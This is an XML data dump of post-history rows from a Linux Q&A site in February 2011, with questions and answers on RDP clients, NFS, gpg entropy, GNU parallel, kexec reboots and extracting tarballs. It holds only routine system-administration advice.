  <row Id="17492" PostHistoryTypeId="2" PostId="7510" RevisionGUID="876a7536-e0d2-4290-99b4-382933be1c5b" CreationDate="2011-02-16T11:05:06.963" UserId="4355" Text="KRCD and I suspect all other Linux RDC clients use [`rdesktop`][1] under the hood.&#xD;&#xA;&#xD;&#xA;I'd encourage you to play with the settings of rdesktop, I myself have used it without any speed issues. It's very possible that your windows RDP connection uses different options, espescially the `-x` paramter to rdesktop:&#xD;&#xA;&#xD;&#xA;    Changes default bandwidth performance behaviour for RDP5. By default only&#xD;&#xA;    theming is enabled, and all other options are disabled (corresponding&#xD;&#xA;    to modem (56 Kbps)). Setting experience to b[roadband] enables menu&#xD;&#xA;    animations and full window dragging. Setting experience to l[an] will&#xD;&#xA;    also enable the desktop wallpaper. Setting experience to m[odem]&#xD;&#xA;    disables all (including themes). Experience can also be a hexidecimal&#xD;&#xA;    number containing the flags.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rdesktop.org/&#xD;&#xA;" />
  <row Id="17493" PostHistoryTypeId="5" PostId="7503" RevisionGUID="bf1f30b1-b70d-42d8-b904-dbc7ca0b2d6c" CreationDate="2011-02-16T11:12:06.573" UserId="3956" Comment="added 251 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have an NFS share on an OpenBsd server. When I assess the share from my Ubuntu box I don't seem to have all permission eg write. Also copying a file from the NFS share to the Ubuntu machine can take &gt; 1 hour for a 44mb file. Any suggestions?&#xD;&#xA;&#xD;&#xA;I exported the share through /etc/exports&#xD;&#xA;&#xD;&#xA;    /home/some_user/downloads -alldirs -maproot=some_user -network=192.168.5.0 -mask=255.255.255.0&#xD;&#xA;&#xD;&#xA;And mounted the share the following.&#xD;&#xA;&#xD;&#xA;    sudo mount 192.168.5.60:/home/some_user/downloads ~/test&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="17494" PostHistoryTypeId="25" PostId="7507" RevisionGUID="384a2030-8370-4919-a222-036870117b0a" CreationDate="2011-02-16T11:22:50.250" Comment="http://twitter.com/#!/StackUnix/status/37834278381293568" />
  <row Id="17495" PostHistoryTypeId="5" PostId="7509" RevisionGUID="e5e821e5-4e10-4d8e-9a3d-32b44b18f0f9" CreationDate="2011-02-16T11:34:46.747" UserId="73" Comment="deleted 40 characters in body; edited title" Text="I currently use KRDC on CentOS, but mouse pointer is a little slow and I'm sure that this is not caused by my internet line speed, because the windows RDP client works and everything is fine. Which RDP client is the fastest on CentOS (or any other Linux OS)?&#xD;&#xA;" />
  <row Id="17496" PostHistoryTypeId="4" PostId="7509" RevisionGUID="e5e821e5-4e10-4d8e-9a3d-32b44b18f0f9" CreationDate="2011-02-16T11:34:46.747" UserId="73" Comment="deleted 40 characters in body; edited title" Text="Fastest RDP client on linux" />
  <row Id="17497" PostHistoryTypeId="5" PostId="7358" RevisionGUID="ef070441-d4fa-41e7-86ff-f3b854fa5fdf" CreationDate="2011-02-16T11:41:14.440" UserId="916" Comment="Add info I found about root cause of problem" Text="I'm running NetBSD on a Xen VPS, and I'm trying to generate a `gpg` keypair. I've gotten most of the way there, but now I'm getting the following error message:&#xD;&#xA;&#xD;&#xA;    Not enough random bytes available.  Please do some other work to give the OS a chance to collect more entropy! (Need 300 more bytes)&#xD;&#xA;&#xD;&#xA;This has been the status for about 10 hours now, and I've been doing things like installing packages from source in another session.&#xD;&#xA;&#xD;&#xA;Is the process hung? Is this a known-issue of some sort? Can it really take *that* much effort to generate 300 bytes of entropy?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;UPDATE: The source of this issue is that NetBSD domU's don't have an entropy source enabled by default. You should manually enable the network interfaces as a source of entropy using the [`rndctl`][rndctl-man] utility.&#xD;&#xA;&#xD;&#xA;[rndctl-man]: http://www.daemon-systems.org/man/rndctl.8.html" />
  <row Id="17498" PostHistoryTypeId="2" PostId="7511" RevisionGUID="b4062eaf-2d4f-4f43-8da7-6ecac8bbfd75" CreationDate="2011-02-16T12:08:55.007" UserId="1144" Text="I cannot comment on performance/speed of various RDP clients. However I recently came across the [FreeRDP][1] project that describes itself as follows&#xD;&#xA;&#xD;&#xA;&gt; FreeRDP is a fork of the rdesktop project that intends to rapidly start moving forward and implement features that rdesktop lacks the most.&#xD;&#xA;&#xD;&#xA;I have not use KRDC but I have used both rdesktop and xfreerdp clients from the commandline on Ubuntu 10.10 and they are both usable. xfreerdp accepts the same -x option as @gnud mentions and that option is likely to make the biggest difference in performance.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freerdp.com/" />
  <row Id="17499" PostHistoryTypeId="17" PostId="7513" RevisionGUID="f3bd6f84-c91e-4350-b71c-deb8c24f8f40" CreationDate="2011-02-16T12:17:45.593" UserId="-1" Comment="from http://askubuntu.com/questions/26615/best-rdp-client-on-linux/26620#26620" Text="" />
  <row Id="17500" PostHistoryTypeId="2" PostId="7513" RevisionGUID="c838615a-6f49-4a38-8c2f-9c64639b2842" CreationDate="2011-02-16T10:17:23.193" UserId="2799" Text="I've taken to using [Remmina](http://packages.ubuntu.com/remmina) [![Install remmina](http://bit.ly/software-small)](http://apt.ubuntu.com/p/remmina) lately. I use it mostly because it manages a list of hosts and their settings quite nicely, and can set up an SSH tunnel automatically. It does VNC too.&#xD;&#xA;&#xD;&#xA;I haven't had performance problems with RDP in general though, and haven't used KRDC, so I couldn't say it would necessarily be any different from that point of view.&#xD;&#xA;&#xD;&#xA;As a non-Ubuntu specific question this might have been better on the [Unix &amp; Linux SE][1] site btw. I don't know if Remmina is available in CentOS's repository.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/" />
  <row Id="17506" PostHistoryTypeId="2" PostId="7514" RevisionGUID="8889e522-f138-44bb-a0f9-40859d44fb74" CreationDate="2011-02-16T12:57:42.673" UserId="4814" Text="OK, we find the problem :)&#xD;&#xA;&#xD;&#xA;It seems that rdp client have some trouble with win7, so we try KRDC on others OS (centos, ubuntu and XP) and it work great...&#xD;&#xA;&#xD;&#xA;Conclusion:&#xD;&#xA;The problem is not in RDP Client, but on the system on which we want to connect...&#xD;&#xA;&#xD;&#xA;Thanks for your answers!" />
  <row Id="17508" PostHistoryTypeId="18" PostId="7513" RevisionGUID="d634c1f4-3c95-462d-b4ea-6d55ae38507d" CreationDate="2011-02-16T13:17:48.147" UserId="73" Comment="from http://unix.stackexchange.com/questions/7512/best-rdp-client-on-linux" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="17509" PostHistoryTypeId="18" PostId="7509" RevisionGUID="d634c1f4-3c95-462d-b4ea-6d55ae38507d" CreationDate="2011-02-16T13:17:48.147" UserId="73" Comment="from http://unix.stackexchange.com/questions/7512/best-rdp-client-on-linux" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="17513" PostHistoryTypeId="5" PostId="7513" RevisionGUID="e740c999-2edd-4d45-8b17-ec9763e1fb41" CreationDate="2011-02-16T13:18:29.630" UserId="73" Comment="deleted 141 characters in body" Text="I've taken to using [Remmina](http://packages.ubuntu.com/remmina) [![Install remmina](http://bit.ly/software-small)](http://apt.ubuntu.com/p/remmina) lately. I use it mostly because it manages a list of hosts and their settings quite nicely, and can set up an SSH tunnel automatically. It does VNC too.&#xD;&#xA;&#xD;&#xA;I haven't had performance problems with RDP in general though, and haven't used KRDC, so I couldn't say it would necessarily be any different from that point of view.&#xD;&#xA;&#xD;&#xA;I don't know if Remmina is available in CentOS's repository.&#xD;&#xA;" />
  <row Id="17514" PostHistoryTypeId="2" PostId="7515" RevisionGUID="f3c4b6da-fba7-4c81-8576-08fe0e231e57" CreationDate="2011-02-16T13:29:22.563" UserId="4815" Text="I am having an issue trying to use parallel command on Ubuntu 10.04. I looked up the parallel documentation and few of the commands seem to run. In all cases I just get the command prompt back without any action being taken. e.g. I was trying to compress a bunch of files using bzip2&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;code&gt;&#xD;&#xA;17:32 farhat HarshaNaveen$ parallel bzip2 ::: *fastq &#xD;&#xA;17:33 farhat HarshaNaveen$ ls *fastq|parallel bzip2 {}&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Neither of these commands worked. Nor was there any error. The example given in the man file worked fine though. &#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;18:58farhat HarshaNaveen$ parallel sh -c &quot;echo hi; sleep 2; echo bye&quot; -- 1 2 3&#xD;&#xA;hi&#xD;&#xA;hi&#xD;&#xA;hi&#xD;&#xA;bye&#xD;&#xA;bye&#xD;&#xA;bye&#xD;&#xA;18:58farhat HarshaNaveen$ &#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" />
  <row Id="17515" PostHistoryTypeId="1" PostId="7515" RevisionGUID="f3c4b6da-fba7-4c81-8576-08fe0e231e57" CreationDate="2011-02-16T13:29:22.563" UserId="4815" Text="Using parallel on Ubuntu" />
  <row Id="17516" PostHistoryTypeId="3" PostId="7515" RevisionGUID="f3c4b6da-fba7-4c81-8576-08fe0e231e57" CreationDate="2011-02-16T13:29:22.563" UserId="4815" Text="éshellàéubuntuà" />
  <row Id="17517" PostHistoryTypeId="2" PostId="7516" RevisionGUID="662aed09-1934-4a92-9e5c-1cb670b03b5a" CreationDate="2011-02-16T08:42:24.343" UserId="4812" Text="I am using ssh to remotely access some machines. These machines have a custom kernel installed (based on the 2.6.28 source). However, whenever I try to reboot the machines using `sudo reboot`, the system uses kexec and loads the 2.6.28-19-generic kernel, which is also intalled on the machine.&#xD;&#xA;&#xD;&#xA;So how can I specify which kernel image to load after reboot?&#xD;&#xA;&#xD;&#xA;EDIT: &#xD;&#xA;I have ubuntu 9.04 installed on the machine, with grub 1.something.&#xD;&#xA;The custom kernel is based on the 2.6.28 source with the name being 2.6.28.10-custom-1.1.&#xD;&#xA;Two other kernels are installed on the machine 2.6.28-19-generic and 2.6.28-6-386. I have checked that after calling reboot, the machine does not actually reboot but uses kexec to load the 19-generic kernel, even if the current kernel was the custom one." />
  <row Id="17518" PostHistoryTypeId="1" PostId="7516" RevisionGUID="662aed09-1934-4a92-9e5c-1cb670b03b5a" CreationDate="2011-02-16T08:42:24.343" UserId="4812" Text="Which kernel does reboot load?" />
  <row Id="17519" PostHistoryTypeId="3" PostId="7516" RevisionGUID="662aed09-1934-4a92-9e5c-1cb670b03b5a" CreationDate="2011-02-16T08:42:24.343" UserId="4812" Text="élinuxàéubuntuà" />
  <row Id="17520" PostHistoryTypeId="17" PostId="7516" RevisionGUID="0ce8781e-d240-479b-878d-cb77d2329b54" CreationDate="2011-02-16T13:51:19.677" UserId="-1" Comment="from http://stackoverflow.com/questions/5014249/which-kernel-does-reboot-load" Text="" />
  <row Id="17521" PostHistoryTypeId="17" PostId="7518" RevisionGUID="d3df0407-847c-471b-8ba7-d4e38feb59a0" CreationDate="2011-02-16T13:51:55.327" UserId="-1" Comment="from http://stackoverflow.com/questions/5015968/book-on-linux-kernel-driver-development/5016083#5016083" Text="" />
  <row Id="17522" PostHistoryTypeId="2" PostId="7518" RevisionGUID="a496eed0-53c1-41c6-97ce-5d2511e1fe49" CreationDate="2011-02-16T11:54:54.817" UserId="4761" Text="&lt;a href=&quot;http://lwn.net/Kernel/LDD3&quot; title=&quot;Linux Device Drivers&quot;&gt;Linux Device Drivers&lt;/a&gt; should help. By the way, I'm no driver coder." />
  <row Id="17523" PostHistoryTypeId="2" PostId="7517" RevisionGUID="1a2ad1c4-ee0e-406c-bacb-61499262e508" CreationDate="2011-02-16T11:41:37.653" UserDisplayName="bjarkef" Text="Hi&#xD;&#xA;&#xD;&#xA;What good books are there out there for Linux kernel development, and what is you favorite? Also preferably targeting a rather new kernel release." />
  <row Id="17524" PostHistoryTypeId="1" PostId="7517" RevisionGUID="1a2ad1c4-ee0e-406c-bacb-61499262e508" CreationDate="2011-02-16T11:41:37.653" UserDisplayName="bjarkef" Text="Book on Linux kernel driver development" />
  <row Id="17525" PostHistoryTypeId="3" PostId="7517" RevisionGUID="1a2ad1c4-ee0e-406c-bacb-61499262e508" CreationDate="2011-02-16T11:41:37.653" UserDisplayName="bjarkef" Text="ébooksàédriversà" />
  <row Id="17526" PostHistoryTypeId="17" PostId="7517" RevisionGUID="2706d9ac-2973-4af3-a1f5-6eb80e72bf2d" CreationDate="2011-02-16T13:51:55.327" UserId="-1" Comment="from http://stackoverflow.com/questions/5015968/book-on-linux-kernel-driver-development" Text="" />
  <row Id="17527" PostHistoryTypeId="25" PostId="7515" RevisionGUID="808a821e-47d2-4eb2-bff3-da43618911ac" CreationDate="2011-02-16T14:22:50.547" Comment="http://twitter.com/#!/StackUnix/status/37879581234962432" />
  <row Id="17528" PostHistoryTypeId="2" PostId="7519" RevisionGUID="cfee9d48-6bd8-4afc-b522-2ebb4e11ac77" CreationDate="2011-02-16T14:37:24.630" UserId="2688" Text="I assume you are trying to run both `bzip2 ::: *fastq` and `ls *fastq|parallel bzip2 {}` in parallel.  Any compelling reason you don't just open up two terminal windows and run them each in their own window?" />
  <row Id="17529" PostHistoryTypeId="2" PostId="7520" RevisionGUID="9bb19281-ca29-487f-a1cb-7d8f0ab43a83" CreationDate="2011-02-16T14:39:04.697" UserId="3959" Text="Linux Kernel Development by Robert Love covers linux-2.6.34" />
  <row Id="17530" PostHistoryTypeId="2" PostId="7521" RevisionGUID="3c493478-517e-4c83-a373-d4fa4a3f990e" CreationDate="2011-02-16T14:55:14.723" UserId="1910" Text="The Fedora 14 docs. haven't been updated yet. The latest way to do this with just a .repo file is:&#xD;&#xA;&#xD;&#xA;    yum-config-manager --add-repo=https://some.repo.example.org/foo/bar/Fedora_14/foo_bar.repo&#xD;&#xA;&#xD;&#xA;...you can then use &quot;yum-config-mananger --enable&quot; etc. too.&#xD;&#xA;" />
  <row Id="17531" PostHistoryTypeId="5" PostId="7517" RevisionGUID="3fa6aa67-797c-4434-aed9-e2f7fa277f2d" CreationDate="2011-02-16T14:59:23.607" UserId="4819" Comment="added 7 characters in body" Text="Hi&#xD;&#xA;&#xD;&#xA;What good books are there out there for Linux kernel driver development, and what is you favorite? Also preferably targeting a rather new kernel release." />
  <row Id="17532" PostHistoryTypeId="2" PostId="7522" RevisionGUID="20a07ee8-df64-4401-a26c-0e65c453721d" CreationDate="2011-02-16T15:00:15.420" UserId="1910" Text="You could always ask the maintainer of boost if they'll split the headers which don't need shared libraries out into another package.&#xD;&#xA;&#xD;&#xA;However I really wonder why the 1¢ of diskspace matters here? esp. as I wouldn't be surprised to find that some of the headers don't guarantee that they'll never need a shared library (even though they are implemented that way now).&#xD;&#xA;" />
  <row Id="17533" PostHistoryTypeId="2" PostId="7523" RevisionGUID="b9310057-5d6f-4d24-83a2-11a94213b35f" CreationDate="2011-02-16T15:03:38.023" UserId="1910" Text="For Fedora their is: http://repos.fedorapeople.org/&#xD;&#xA;" />
  <row Id="17534" PostHistoryTypeId="5" PostId="7520" RevisionGUID="8a1eb0bb-0b19-4862-a93c-7e89d3adfbd9" CreationDate="2011-02-16T15:03:45.003" UserId="4819" Comment="added hyperlink to book title" Text="[Linux Kernel Development][1] by Robert Love covers linux-2.6.34&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Linux-Kernel-Development-implementation-Developers/dp/0672329468/ref=sr_1_1?ie=UTF8&amp;qid=1297868429&amp;sr=8-1" />
  <row Id="17535" PostHistoryTypeId="24" PostId="7520" RevisionGUID="86694694-62c8-492d-b087-efc454d5912a" CreationDate="2011-02-16T15:03:45.003" Comment="Proposed by 4819 approved by 73 edit id of 27" />
  <row Id="17536" PostHistoryTypeId="5" PostId="7517" RevisionGUID="441dc630-c472-4da4-a8f1-c754946a083c" CreationDate="2011-02-16T15:04:36.407" UserId="73" Comment="deleted 37 characters in body" Text="What good books are there out there for Linux kernel driver development? Preferably targeting a rather new kernel release." />
  <row Id="17537" PostHistoryTypeId="5" PostId="7479" RevisionGUID="408f8c43-628a-4122-8606-0ff9af4f956d" CreationDate="2011-02-16T15:10:37.820" UserId="2700" Comment="Clarified why what was tried did not work." Text="Turns out the problem was that vim on the remote was not compiled with GTK.  This happened because the necessary package was not present on the remote box.  Thus, even with the `--enable-gtk2-check` compile flag set, it was not actually including GTK.&#xD;&#xA;&#xD;&#xA;To fix it, log on to the remote machine and:&#xD;&#xA;&#xD;&#xA;  1. Install gtk2-devel,&#xD;&#xA;  2. re-configure, re-make, &amp; re-install vim&#xD;&#xA;&#xD;&#xA;A co-worker figured this out eventually." />
  <row Id="17538" PostHistoryTypeId="2" PostId="7524" RevisionGUID="f71ecd26-fdb2-4bd4-b555-9a5b4093004a" CreationDate="2011-02-16T15:20:58.697" UserId="4208" Text="When I start up my Red Hat box I see a progress meter in the center of the screen that has a button that says &quot;Show Details...&quot;.  When I click on this button, I see a console like screen that shows the starting up of the services and such.  After the startup has completed and after I log in, is there some log file that I can look at to see what I saw during the startup?  If so, where is that log file?" />
  <row Id="17539" PostHistoryTypeId="1" PostId="7524" RevisionGUID="f71ecd26-fdb2-4bd4-b555-9a5b4093004a" CreationDate="2011-02-16T15:20:58.697" UserId="4208" Text="Startup log file for RHEL?" />
  <row Id="17540" PostHistoryTypeId="3" PostId="7524" RevisionGUID="f71ecd26-fdb2-4bd4-b555-9a5b4093004a" CreationDate="2011-02-16T15:20:58.697" UserId="4208" Text="érhelà" />
  <row Id="17541" PostHistoryTypeId="2" PostId="7525" RevisionGUID="044af1ea-37e3-4c85-a4bf-9ae41b7bd953" CreationDate="2011-02-16T15:34:41.777" UserId="3635" Text="After the system starts up, `/var/log/boot.log` should contain this information. If the system has been online for awhile, the information may be moved into another boot.log.* file in the same directory. &#xD;&#xA;&#xD;&#xA;Also, you can check `/var/log/messages` for any other messages that may have been generated during system startup." />
  <row Id="17542" PostHistoryTypeId="2" PostId="7526" RevisionGUID="62d7ce5f-987e-463f-a02a-834662e5a30a" CreationDate="2011-02-16T15:42:06.853" UserId="4820" Text="&quot;Linux supports the dynamic loading of kernel modules. &quot;&#xD;&#xA;I read this from a book written by Robert Love. He said this is the difference between linux an Unix. But I recall there is also KLD in FreeBSD? &#xD;&#xA;So is KLD also can be seen as dynamic loading of kernel modules?&#xD;&#xA;&#xD;&#xA;Please enlighten me. Thank you&#xD;&#xA;" />
  <row Id="17543" PostHistoryTypeId="1" PostId="7526" RevisionGUID="62d7ce5f-987e-463f-a02a-834662e5a30a" CreationDate="2011-02-16T15:42:06.853" UserId="4820" Text="&quot;Linux supports the dynamic loading of kernel modules. &quot; " />
  <row Id="17544" PostHistoryTypeId="3" PostId="7526" RevisionGUID="62d7ce5f-987e-463f-a02a-834662e5a30a" CreationDate="2011-02-16T15:42:06.853" UserId="4820" Text="élinuxàékernelàéunixàémoduleà" />
  <row Id="17545" PostHistoryTypeId="2" PostId="7527" RevisionGUID="1f9dfaaf-fcf0-47fc-a0dc-226b3e3af25f" CreationDate="2011-02-16T15:45:03.717" UserId="3635" Text="My company evaluated this box as a deployment platform for some of our software. We were able to get Fedora working on these boxes, however the box required a BIOS update from the vendor in order to get it to boot from flash memory. I assume this is what you are trying to do as well?&#xD;&#xA;&#xD;&#xA;We also had other problems with this box that ultimately led us to drop it. For example, USB devices plugged into one of the front ports had intermittent data errors. These are nice little boxes, but I do not trust them for anything other than simple, personal use." />
  <row Id="17546" PostHistoryTypeId="5" PostId="7526" RevisionGUID="bce5e543-8373-43f9-ae57-e9a46b1f0703" CreationDate="2011-02-16T15:48:40.050" UserId="73" Comment="deleted 28 characters in body" Text="I read in a book written by Robert Love that:&#xD;&#xA;&#xD;&#xA;&gt; Linux supports the dynamic loading of kernel modules.&#xD;&#xA;&#xD;&#xA;He said this is the difference between Linux and Unix, but I seem to recall there is also KLD in FreeBSD? So can KLD also be seen as dynamic loading of kernel modules?&#xD;&#xA;" />
  <row Id="17547" PostHistoryTypeId="2" PostId="7528" RevisionGUID="3ad1d1ba-2c33-4df6-8d4c-38ce9b6f0268" CreationDate="2011-02-16T15:49:37.860" UserId="3629" Text="Your first try is closest to being correct, but why the `:::`?  If you change `:::` to `--`, it will do what you want.&#xD;&#xA;&#xD;&#xA;`parallel` has a specific, unusual structure to its command line.  In the first half, you give it the command you want to run multiple times, and the part of the command line that will be the same every time.  In the second half, you give it the parts that will be different each time the command is run.  **These halves are separated by `--`.**  Some experimentation shows that if `parallel` doesn't find the second half, it doesn't actually run any commands.&#xD;&#xA;&#xD;&#xA;It's probably worth re-reading the man page carefully.  Man pages have a terse, information-dense style that can take some getting used to.  Also try reading some pages for commands you're already familiar with." />
  <row Id="17548" PostHistoryTypeId="2" PostId="7529" RevisionGUID="305ab248-5b52-435e-abd4-cd6e6c3ca1f0" CreationDate="2011-02-16T15:53:12.957" UserId="872" Text="I have built my app for different architectures and would like to create a &quot;dynamic symlink&quot; which takes me to the right version based on a variable. &#xD;&#xA;&#xD;&#xA;If the machine I am currently logged in to, is x86, then the symlink should take me to that build.&#xD;&#xA;&#xD;&#xA;A **mocked example** of what I want to do:&#xD;&#xA;&#xD;&#xA;    $ uname -i&#xD;&#xA;    x86_64&#xD;&#xA;    &#xD;&#xA;    $ ls -ltr &#xD;&#xA;    lrwxr-xr-x  1 dogbane gg     4 Feb 16 15:40 mylink -&gt; @sys/&#xD;&#xA;    drwxrwxr-x  2 dogbane gg  2048 Feb 16 15:40 x86_64/&#xD;&#xA;    drwxrwxr-x  2 dogbane gg  2048 Feb 16 15:40 i386/&#xD;&#xA;    &#xD;&#xA;    $ cd mylink&#xD;&#xA;    &#xD;&#xA;    $ pwd -P&#xD;&#xA;    ~/x86_64&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is this possible? &#xD;&#xA;&#xD;&#xA;I know I can use `cd $(uname -i)`, but want something simpler." />
  <row Id="17549" PostHistoryTypeId="1" PostId="7529" RevisionGUID="305ab248-5b52-435e-abd4-cd6e6c3ca1f0" CreationDate="2011-02-16T15:53:12.957" UserId="872" Text="Dynamic Symlinks" />
  <row Id="17550" PostHistoryTypeId="3" PostId="7529" RevisionGUID="305ab248-5b52-435e-abd4-cd6e6c3ca1f0" CreationDate="2011-02-16T15:53:12.957" UserId="872" Text="ésymlinkà" />
  <row Id="17551" PostHistoryTypeId="2" PostId="7530" RevisionGUID="4736d015-87d6-4826-8846-ff6365392891" CreationDate="2011-02-16T15:55:28.187" UserId="1447" Text="KLD is indeed dynamic kernel modules. In fact, many old school Unixen also have loadable kernel modules nowadays. Your book must be quite old :)" />
  <row Id="17552" PostHistoryTypeId="2" PostId="7531" RevisionGUID="4f32cae2-8d89-4257-b0d2-241897ecd6ef" CreationDate="2011-02-16T16:10:00.343" UserId="3886" Text="symlink is essentially a file with special flag which contains some path, and this path interpreted as is, so you can not make one symlink to point to other locations in that way. But you still may write script that will run apropriate build." />
  <row Id="17553" PostHistoryTypeId="2" PostId="7532" RevisionGUID="d90716e7-de42-40d7-8b7e-15adf24135c5" CreationDate="2011-02-16T16:15:11.550" UserId="4671" Text="I've got a directory that looks like&#xD;&#xA;&#xD;&#xA;    $ ls&#xD;&#xA;    Broad_hapmap3_r2_Affy6_cels_excluded.tgz  DINGO.tgz                     GIGAS.tgz  index.html          IONIC.tgz             passing_cels_sample_map.txt  SCALE.tgz&#xD;&#xA;    CHEAP.tgz                                 EPODE.tgz                     HOMOS.tgz  index.html?C=M;O=A  LOVED.tgz             PICUL.tgz                    SHELF.tgz&#xD;&#xA;    CORER.tgz                                 excluded_cels_md5.txt         HUFFS.tgz  index.html?C=N;O=D  NIGHS.tgz             POSIT.tgz                    SLOTH.tgz&#xD;&#xA;    CUPID.tgz                                 excluded_cels_sample_map.txt  HUSKS.tgz  index.html?C=S;O=A  passing_cels_md5.txt  SAKES.tgz                    TESLA.tgz&#xD;&#xA;&#xD;&#xA;I want to unzip all the files that match the extension *.tgz with a single command, except Broad_hapmap3_r2_Affy6_cels_excluded.tgz. &#xD;&#xA;&#xD;&#xA;I can do&#xD;&#xA;&#xD;&#xA;    ls *.tgz | xargs -n1 tar zxvf&#xD;&#xA;&#xD;&#xA;for all the *tgz files, but what's a good way to exclude a subset of them? From reading online maybe find is indicated in this situation, but it seems like overkill. Thank in advance. &#xD;&#xA;" />
  <row Id="17554" PostHistoryTypeId="1" PostId="7532" RevisionGUID="d90716e7-de42-40d7-8b7e-15adf24135c5" CreationDate="2011-02-16T16:15:11.550" UserId="4671" Text="untar a directory of *.tgz files using a wildcard" />
  <row Id="17555" PostHistoryTypeId="3" PostId="7532" RevisionGUID="d90716e7-de42-40d7-8b7e-15adf24135c5" CreationDate="2011-02-16T16:15:11.550" UserId="4671" Text="étaràéxargsà" />
  <row Id="17558" PostHistoryTypeId="2" PostId="7535" RevisionGUID="04412673-29de-414c-b1c0-d36d13237b3b" CreationDate="2011-02-16T16:30:23.447" UserId="3078" Text="Normally, when you reboot, the machine will return to grub and either allow you to select a kernel via the keyboard, or boot the default configured kernel. However if you have kexec-tools installed, the reboot command will short circuit this behaviour and directly kexec into a kernel. You can disable this behaviour, and return to grub in reboot, by uninstalling kexec tools or editing the file&#xD;&#xA;  &#xD;&#xA;    /etc/default/kexec &#xD;&#xA;&#xD;&#xA;and setting:&#xD;&#xA;&#xD;&#xA;      LOAD_KEXEC=false &#xD;&#xA;&#xD;&#xA;Alternatively, to keep kexec active and have it reboot into the kernel of your choice, try a command line like this to load your desired kernel:&#xD;&#xA;&#xD;&#xA;     kexec -l /boot/vmlinux --append=root=/dev/hda1 --initrd=/boot/initrd&#xD;&#xA;&#xD;&#xA;then when 'kexec -e' is later run, the configured kernel in the kexec line as well will be run. As I believe the reboot script eventually just calls 'kexec-e' I believe the kernel change should take effect then.&#xD;&#xA;" />
  <row Id="17559" PostHistoryTypeId="2" PostId="7536" RevisionGUID="32f5ce99-bc1f-4163-9e96-f10f82bce76e" CreationDate="2011-02-16T16:35:15.967" UserId="3078" Text="You could always do:&#xD;&#xA;&#xD;&#xA;    ls *.tgz | grep -v Broad_hapmap3_r2_Affy6_cels_excluded.tgz | xargs -n1 tar zxvf&#xD;&#xA;&#xD;&#xA;But I suspect somone will post a cleaner way do do this directly from the bash shell without needing a grep in there.&#xD;&#xA;" />
  <row Id="17560" PostHistoryTypeId="2" PostId="7537" RevisionGUID="c750402a-c760-4226-9e01-6eb39e0187cd" CreationDate="2011-02-16T16:38:10.223" UserId="4812" Text="I found a pretty nifty post [here][1]. It contains a script to call kexec manually. Reposting script here:&#xD;&#xA;&#xD;&#xA;        UNAMER=`uname -r` # this checks the version of the kernel &#xD;&#xA;				#just to save typing&#xD;&#xA;&#xD;&#xA;        #This just puts all of the parameters for loading in one place&#xD;&#xA;        &#xD;&#xA;	KPARAMS=&quot;-l &quot; # tells kexec to load the kernel&#xD;&#xA;&#xD;&#xA;	# --append tells the kernel all of its parameters&#xD;&#xA;	# cat /proc/cmdline gets the current kernel's command line&#xD;&#xA;	KPARAMS=$KPARAMS&quot;--append=\&quot;`cat /proc/cmdline`\&quot; &quot;&#xD;&#xA;&#xD;&#xA;	# this tells the kernel what initrd image to use&#xD;&#xA;	KPARAMS=$KPARAMS&quot;--initrd=/boot/initrd.img-$UNAMER &quot;&#xD;&#xA;&#xD;&#xA;	# this tells the kexec what kernel to load&#xD;&#xA;	KPARAMS=$KPARAMS&quot;/boot/vmlinuz-$UNAMER&quot;&#xD;&#xA;	&#xD;&#xA;        # Message should end with a newline since kFreeBSD may&#xD;&#xA;        # print more stuff (see #323749)&#xD;&#xA;        log_action_msg &quot;Will now restart&quot;&#xD;&#xA;&#xD;&#xA;        if [ -x `locate kexec | grep sbin` ]; then # check for the kexec executable&#xD;&#xA;                kexec $KPARAMS  # load the kernel with the correct parameters&#xD;&#xA;                sync            # sync all of the disks so as not to lose data&#xD;&#xA;                umount -a       # make sure all disks are unmounted&#xD;&#xA;                kexec -e        # reboot the kernel&#xD;&#xA;        fi&#xD;&#xA;&#xD;&#xA;        #This next line should never happen.&#xD;&#xA;&#xD;&#xA;        reboot -d -f -i&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux.com/archive/feature/150202" />
  <row Id="17561" PostHistoryTypeId="2" PostId="7538" RevisionGUID="d9225ae4-a2de-4738-8c4a-08ca357d4069" CreationDate="2011-02-16T16:41:33.760" UserId="4142" Text="The following matches all the tarballs with the filename composed by 5 uppercase letters:&#xD;&#xA;&#xD;&#xA;    ls *.tgz | grep &quot;^[A-Z]\{5\}\.tgz&quot; | xargs -n 1 tar tvfz&#xD;&#xA;&#xD;&#xA;without grep it would be&#xD;&#xA;&#xD;&#xA;    ls [A-Z][A-Z][A-Z][A-Z][A-Z].tgz | xargs -n 1 tar tvfz&#xD;&#xA;&#xD;&#xA;but you will lose the power of regexes that way" />
  <row Id="17562" PostHistoryTypeId="17" PostId="7540" RevisionGUID="7e7f8932-267d-4890-acca-dd1bc32e838f" CreationDate="2011-02-16T16:41:43.300" UserId="-1" Comment="from http://stackoverflow.com/questions/5018976/bash-smart-completion-for-user/5019009#5019009" Text="" />
  <row Id="17563" PostHistoryTypeId="2" PostId="7540" RevisionGUID="78791b3e-d41f-4186-879a-867da8096ec3" CreationDate="2011-02-16T16:19:57.023" UserDisplayName="sjr" Text="Does doing `. /etc/bash_completion` as your user enable completion? If so, you can put it in your `~/.bash_profile` file so that it gets run when you login." />
